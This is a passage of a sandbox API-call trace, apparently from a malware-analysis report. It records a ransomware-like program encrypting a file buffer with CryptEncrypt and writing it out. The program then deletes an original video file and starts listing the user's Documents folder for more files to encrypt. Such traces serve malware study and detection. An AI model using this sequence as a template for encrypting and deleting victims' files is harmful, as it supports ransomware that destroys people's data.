pdwDataLen=0x130e0e8*=0x4) returned 1 [0068.492] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0068.492] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0068.492] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.492] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.492] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.493] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.493] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.493] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.493] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0068.493] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.493] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.493] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0068.493] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.493] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.493] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0068.493] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0068.493] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0068.493] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.493] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.493] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.493] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.493] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.493] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.493] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.494] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0068.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621888, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0068.495] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0068.495] CryptEncrypt (in: hKey=0x164c530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x12e63, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x12e70) returned 1 [0068.495] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.495] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.495] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.495] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.495] CharLowerBuffW (in: lpsz="byte[77425]", cchLength=0xb | out: lpsz="byte[77425]") returned 0xb [0068.495] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.496] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.496] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.496] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.496] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0068.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621bb8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0068.497] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0068.497] CryptEncrypt (in: hKey=0x164c530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17e3988*, pdwDataLen=0x130e618*=0x12e63, dwBufLen=0x12e70 | out: pbData=0x17e3988*, pdwDataLen=0x130e618*=0x12e70) returned 1 [0068.497] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.497] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.497] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.497] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.497] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.497] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.498] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0068.498] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.498] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0068.498] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0068.498] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0068.498] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.498] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.498] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0068.498] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.498] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.498] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.517] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.517] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.517] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.518] WriteFile (in: hFile=0x2ac, lpBuffer=0x187d010*, nNumberOfBytesToWrite=0x12e70, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x187d010*, lpNumberOfBytesWritten=0x130f01c*=0x12e70, lpOverlapped=0x0) returned 1 [0068.519] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.519] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.519] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0068.519] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0068.519] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.519] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0068.519] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0068.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16213a8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0068.520] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0068.520] CryptDestroyKey (hKey=0x164c530) returned 1 [0068.520] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0068.520] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0068.520] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0068.520] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0068.520] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0068.520] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0068.520] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0068.520] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0068.520] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.520] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0068.520] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0068.520] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0068.520] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0068.520] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0068.520] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.521] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0068.521] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.521] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0068.521] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.521] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.521] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.521] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.521] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0068.521] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.521] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.521] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0068.521] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0068.521] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0068.521] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0068.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e030, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0068.522] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0068.522] CryptReleaseContext (hProv=0x17aa670, dwFlags=0x0) returned 1 [0068.522] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.522] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.522] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0068.522] FreeLibrary (hLibModule=0x74c60000) returned 1 [0068.531] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.531] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.531] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.531] CloseHandle (hObject=0x3bc) returned 1 [0068.533] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.533] CloseHandle (hObject=0x2ac) returned 1 [0068.544] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.546] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0068.546] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\RcBgox5PvYPV.mp4", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\RcBgox5PvYPV.mp4", lpFilePart=0x0) returned 0x3e [0068.546] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\RcBgox5PvYPV.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\-sjjvy1re6atxbcv\\rcbgox5pvypv.mp4")) returned 0x20 [0068.546] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\RcBgox5PvYPV.mp4", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c270 [0068.547] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\RcBgox5PvYPV.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\-sjjvy1re6atxbcv\\rcbgox5pvypv.mp4")) returned 1 [0068.558] FindNextFileW (in: hFindFile=0x164c270, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0068.559] FindClose (in: hFindFile=0x164c270 | out: hFindFile=0x164c270) returned 1 [0068.559] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0068.559] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0068.559] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0068.559] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0068.559] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0068.559] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0068.559] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0068.559] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x130f280, nSize=0x104 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps") returned 0x15 [0068.559] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0068.559] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents", cchCount1=31, lpString2="", cchCount2=0) returned 3 [0068.559] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0068.560] CharUpperBuffW (in: lpsz="_FILELISTTOARRAYREC", cchLength=0x13 | out: lpsz="_FILELISTTOARRAYREC") returned 0x13 [0068.560] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.560] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0068.560] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.560] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.560] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.560] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.560] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.560] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.560] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.560] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.560] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.561] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.561] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.561] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s", cchCount1=1, lpString2="\\", cchCount2=1) returned 3 [0068.561] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.561] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0068.561] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, 